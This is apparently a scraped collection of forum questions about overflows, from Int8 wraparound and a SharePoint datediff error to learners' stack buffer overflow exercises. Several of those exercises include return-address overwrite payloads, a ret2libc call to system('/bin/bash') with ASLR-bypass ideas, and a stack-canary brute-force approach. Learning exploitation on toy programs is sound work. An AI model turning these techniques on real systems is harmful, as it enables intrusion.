Why integer overflow not cycling?

Imagine we have 8-bit integer. So we can store integers from -128 to 127. so if we append 2, it will cause Arithmetic operation ‘127 + 2’ (on type ‘Int8’) results in an overflow. Since the very left bit is sign-bit the result should be changed sign-bit + rest of the value and should be -1 in Int8 (correct me if I’m wrong). But almost every time I try to hack the memory and add sum overflow value to a number, it will become some random number and I don’t know why.

The question is why it is not cycled to the reversed number and what is that random number (where did it came from).

2013: Crawler failing execution of proc_MSS_GetNextCrawlBatch due to datediff overflow

Up front disclosure: I am not a sharepoint admin. We don’t have a sharepoint admin. I just try to solve problems.

I was hearing reports of connection problems with one of our UAT SQL instances.

Querying connection metadata for the instance, I found that it had ~1000 connections against the sharepoint 2013 crawl store database. Almost all executing (or last tried to execute) the stored procedure procedure dbo.proc_MSS_GetNextCrawlBatch.

Since I have the necessary permissions to be able to connect to the sharepoint server, I spelunked through central admin until I found what seemed like a relevant error page. With more spelunking and some googling I found the location of the sharepoint log file, where I see the following error repeated many times:

ManagedSqlSession caught a SqlException executing the following command: 'proc_MSS_GetNextCrawlBatch'. Connection string was: '[redacted]' Original exception message: 'The datediff function resulted in an overflow. The number of dateparts separating two date/time instances is too large. Try to use datediff with a less precise datepart.'

OK good, familiar territory. Pulling apart the guts of the stored procedure and using parameters I found from a SQL trace, I have determined that one of the query columns is defined as datediff(millisecond, CrawlQueue.TimeInsertedInQueue, getutcdate()), and that there are rows in the MSSCrawlQueue table with a TimeInsertedInQueue value back in 2017. Clearly the number of milliseconds between a date in 2017 and today’s date is going to overflow.

So, I have the problem diagnosed down to this very specific issue. What I don’t know is: how do I fix it? Or rather, what is the correct way to fix it? I mean, I could simply delete all the rows from the MSSCrawlQueue table, but I expect there is a right way to solve this problem which is more subtle than taking off and nuking it from orbit.

How to exploit this buffer overflow. Where is the return address?

I’m practicing doing buffer overflows and, weirdly, I can do some but not others and it is not clear to me why. Here is the example code:

Code that I need help with::

#include <stdio.h> int main(int argc, char * argv[]) {     char buf[256];     if(argc == 1) {         printf("Usage: %s input\n", argv[0]);         exit(0);     }     strcpy(buf,argv[1]);     printf("%s", buf); } 

I compile this code with gcc -z exestack -fno-no-stack-protector


  1. I understand that the general technique is to write to a buffer such that I overwrite where the next instruction register looks in memory. So my question is, where do I insert a breakpoint in this code to figure out where to overwrite? If I do disas main I get:

    0x080497b1 <+60>: add $ 0x10,%esp

    0x080497b4 <+63>: sub $ 0xc,%esp

    0x080497b7 <+66>: push $ 0x0

    0x080497b9 <+68>: call 0x804fd50

    0x080497be <+73>: mov 0x4(%eax),%eax

    0x080497c1 <+76>: add $ 0x4,%eax

    0x080497c4 <+79>: mov (%eax),%eax

    0x080497c6 <+81>: sub $ 0x8,%esp

    0x080497c9 <+84>: push %eax

    0x080497ca <+85>: lea -0x108(%ebp),%eax

    0x080497d0 <+91>: push %eax

    0x080497d1 <+92>: call 0x8049028

    0x080497d6 <+97>: add $ 0x10,%esp

    0x080497d9 <+100>: sub $ 0x8,%esp 0x080497dc <+103>: lea -0x108(%ebp),%eax

If I add a breakpoint at *main+97, and then run AAAAAA I get the following:

Breakpoint 1, 0x080497d6 in main () (gdb) info registers eax            0xbffff1f0   -1073745424 ecx            0xbffff575   -1073744523 edx            0xbffff1f0   -1073745424 ebx            0x80da000    135110656 esp            0xbffff1e0   0xbffff1e0 ebp            0xbffff2f8   0xbffff2f8 esi            0x80da000    135110656 edi            0x80481e8    134513128 eip            0x80497d6    0x80497d6 <main+97> eflags         0x246    [ PF ZF IF ] cs             0x73 115 ss             0x7b 123 ds             0x7b 123 es             0x7b 123 fs             0x0  0 gs             0x33 51 

Am I putting the breakpoint in the right place to help with this overflow? Right after the call to strcpy? Also, I see that ebp is at 0xbffff2f8. Does this mean that I want to overwrite the address right next to this at 0xbffff2fc to point back inside the buffer and I will be done? Because that does not appear to work: my buffer is a NOP sled and shell code.

Thanks for any help!

Buffer overflow exploit with python3 : wrong return adress writen

I’m trying to exploit a simple buffer overflow with gdb and peda, I just want to rewrite the return adress with the adress of a function of the program, I can easily do it with python2 but it seems to be impossible with python3, the return adress is not rewrite with the good adress.

According to the research I already did, the encoding is the cause of this problem because python2 is using ascii and python3 is using utf-8. I found some stuff on this website which didn’t help me :/

Here is the code of the vulnerable app:

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <string.h>  void checkPassword(); void goodPassword();  int main(int argc, char **argv) {     printf("Debut du programme...\n");      if (argc < 2)     {         printf("Necessite un argument\n");         return 0;     }      printf("Appel de la fonction checkPassword\n");     checkPassword(argv[1]);      printf("Fin du programme\n");  }  void checkPassword(const char *arg) {     char password[64];      strcpy(password, arg);      if (strcmp(password, "fromage") == 0)     {         goodPassword();     }     else     {         printf("Mauvais mot de passe\n");     } }  void goodPassword() // This is the function I want to run, adress : 0x565562b2 {     printf("Mot de passe correcte!\n");  } 

Here is the exploit I use in python2

starti $  (python2 -c 'print "A"*76 + "\xb2\x62\x55\x56".strip() ')  

Here is the exploit I use in python3 and the stack atfer the strcpy:

starti $  (python3 -c 'print(b"A"*76 + b"\xb2\x62\x55\x56".strip() ')  gdb-peda$   x/24xw $  esp 0xffffcc40:     0xffffcc50      0xffffcfa6      0xf7e2bca9      0x56556261 0xffffcc50:     0x41412762      0x41414141      0x41414141      0x41414141 0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141 0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141 0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141 0xffffcc90:     0x41414141      0x41414141      0x41414141      0x785c4141 

I expect this output:

gdb-peda$   x/24xw $  esp 0xffffcc50:     0xffffcc60      0xffffcfac      0xf7e2bca9      0x56556261 0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141 0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141 0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141 0xffffcc90:     0x41414141      0x41414141      0x41414141      0x41414141 0xffffcca0:     0x41414141      0x41414141      0x41414141      0x565562b2 

which works fine and run the goodPassword function. Thanks for help

Simple buffer overflow trying to leak address of system()

Code is:

    #include <string.h>  void vuln(char *arg) {     char buffer[10];     strcpy(buffer, arg); }    int main( int argc, char** argv ) {     vuln(argv[1]);     return 0;  } 

I’ve determined I can input a buffer of 26 total characters to overwrite EIP. In gdb the address of

system():                      0xb7e41b40 "/bin/bash" portion of $  SHELL: 0xbffffdac  

if I run

run $  (python -c "print ('a' * 22) + '\x40\x1b\xe4\xb7'+'FAKE'+'\xac\xfd\xff\xbf'") 

in gdb it will drop me into a shell. Unfortunately this doesn’t work in the shell due to ASLR. GDB tells me that strcpy is at 0xb7e7c750 which has an offset of 0x3AC10 from system(). What I’m thinking is if I can somehow store the address of strcpy at runtime and use the offset (and the offset to the string) I can get it to run system(“/bin/bash”) which is essentially what I’m doing in gdb without the ASLR.

Any tips… or direction towards applicable documentation would be greatly appreciated. I’m trying to successfully exploit the bug without disabling any security measures.

Currently there’s ASLR , PIE, ASCII Armor, NX (I’m assuming), and SSP (this is also assumed). I’m on Debian 9 stretch. Thank you!

Basic buffer overflow able to over EIP but doesn’t correctly overwrite when using memory address

I wrote a basic vulnerable app in C.

#include <string.h> 

void vuln(char *arg) { char buffer[10]; strcpy(buffer, arg); }

int main( int argc, char** argv ) { vuln(argv[1]); return 0; }

I determined that if I input 26 characters, characters 23-26 will overwrite EIP. I can successfully represent this in gdb. When try to replace some arbitrary character with my desired address (the address to system() in libc 0xb7e41b40 on my machine) eip becomes gibberish. The input ends up being “a * 22 \x40\x1b\xe4\xb7” why is that? I pasted the gdb output below as well. Thank you.

(gdb) run aaaaaaaaaaaaaaaaaabbbb\x40\x1b\xe4\xb7 

The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/bob/Documents/C/Disassembler_Fun/overflow aaaaaaaaaaaaaaaaaabbbb\x40\x1b\xe4\xb7

Program received signal SIGSEGV, Segmentation fault. 0x78303478 in ?? () (gdb) i r eax 0xbffff276 -1073745290 ecx 0xbffff520 -1073744608 edx 0xbffff28a -1073745270 ebx 0x61616161 1633771873 esp 0xbffff290 0xbffff290 ebp 0x62626262 0x62626262 esi 0x2 2 edi 0xb7fbb000 -1208242176

why not the address? eip 0x78303478 0x78303478 didn’t work?

eflags 0x10282 [ SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) run aaaaaaaaaaaaaaaaaabbbbcccc The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/bob/Documents/C/Disassembler_Fun/overflow aaaaaaaaaaaaaaaaaabbbbcccc

Program received signal SIGSEGV, Segmentation fault. 0x63636363 in ?? () (gdb) i r eax 0xbffff286 -1073745274 ecx 0xbffff520 -1073744608 edx 0xbffff292 -1073745262 ebx 0x61616161 1633771873 esp 0xbffff2a0 0xbffff2a0 ebp 0x62626262 0x62626262 esi 0x2 2 edi 0xb7fbb000 -1208242176

over written with cccc eip 0x63636363 0x63636363 worked here

eflags 0x10282 [ SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)

Overflow Error in line 33

I tried to make the mandle-brot set in python, but I keep on getting a overflow error in line 33.

import matplotlib import matplotlib.pyplot as plt a = -4 b = 4 c = -2.25 d = 2.25  ReAxis = [a, b] ImAxis = [c, d]  def ReM(x,y,m):     Re = x**2 - y**2 + m     return Re  def ImM(x,y,m):     Im = x**2 - y**2 + m     return Im  x = ReAxis[0] y = ImAxis[0]  n = 0.1 N = 20  while x <= ReAxis[1]:     funcX = x     while y <= ImAxis[1]:         i = 1         funcY = y         while i <= N + 1:             funcX = ReM(funcX, funcY, x)             funcY = ImM(funcX, funcY, y)             if funcX**2 + funcY**2 > 4:                 K = i                 break             else:                 i = i + 1         if i == N + 1:              plt.plot(x,y)     y = y + n x = x + n  plt.show() 

line 33: if funcX**2 + funcY**2 > 4:

I’m not sure why it is giving me this error in an if statement. The numbers aren’t going to be huge eiither. So I can’t think of a reason why it gives me the error

Why is this not a buffer overflow?

I’m actually busy with learning more about buffer overflows. I read some interesting tutorials and just got the basic idea behind it. I tried to produce a vulnerable c++ file to test my knowledge against it, but it seems like I missed some of the concepts…

My code is the following:

   #include <iostream> /* run this program using the console, or add your own getch, system("pause"), or input loop */  int main(int argc, char** argv) {       char xx[20];     char yy[20];     std::cin >> xx;     std::cout << xx << std::endl;     std::cout << yy << std::endl;  } 

In my opinion I should be able to write with a 21 Char-Long String in “xx” over the data in “yy”. But “yy” is still full with some random chars (’cause no initialization) and not with the overflowing content of the variable “yy”.

Could you tell me why this is happening?

Thanks in advance!

What is the purpose of using hex escape sequences when writing buffer overflow exploits?

I was trying to overwrite fp function pointer to 0x8048424(win() location) so that function win() will be called to solve this problem(machine is little endian)

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h>  void win() {   printf("code flow successfully changed\n"); }  int main(int argc, char **argv) {   volatile int (*fp)();   char buffer[64];    fp = 0;    gets(buffer);    if(fp) {       printf("calling function pointer, jumping to 0x%08x\n", fp);       fp();   } } 

I am able to do this by overflowing buffervariable and then overwriting fp by doing python -c "print'A'*64 + '\x24\x84\x04\x08'" | ./stack3.

But my question is why we need hex escape sequences?I have saw this notation in many tutorials but none of them explained it purpose

I read about this and found that they can be used as escape sequences. for e.g \n(which is a newline character) can be written as printf("\x0A") and it will do the same thing. So it makes sense.

But when overwriting memory why we need this? I didn’t understand it’s purpose here in buffer overflow Why we cannot simply use python -c "print'A'*64 + '0x24840408'" | ./stack3. I mean we are just writing a memory address to a pointer variable.

PS My question is related to this question but unfortunately doesn’t answer my question that Why do we need \x notation in first place

How to exploit buffer overflow without space after return address?

I’m working on a binary exploitation challenge where the target (ELF/x86_64) has stack canaries, NX and PIE enabled. It implements a simple forking TCP server. After a connection is established, it reads up to 0x420 bytes from the socket into a buffer of 0x400 bytes. When this data starts with a certain string, and sends a reply back before closing the socket.

As far as I can see, the above buffer overflow is the only vulnerability in the program.

So far, I’ve been able to brute force the stack canary, saved rbp and return address by overwriting them one byte at a time and checking if the server still sends a response.

My problem is that I can not find a way to exploit this overflow. Because of the stack layout, the return address is all the way at the end of the overflow buffer, which makes it impossible to set up a regular ROP chain.

I thought about adjusting rsp to the start of the writable buffer, but can’t find a gadget that does that…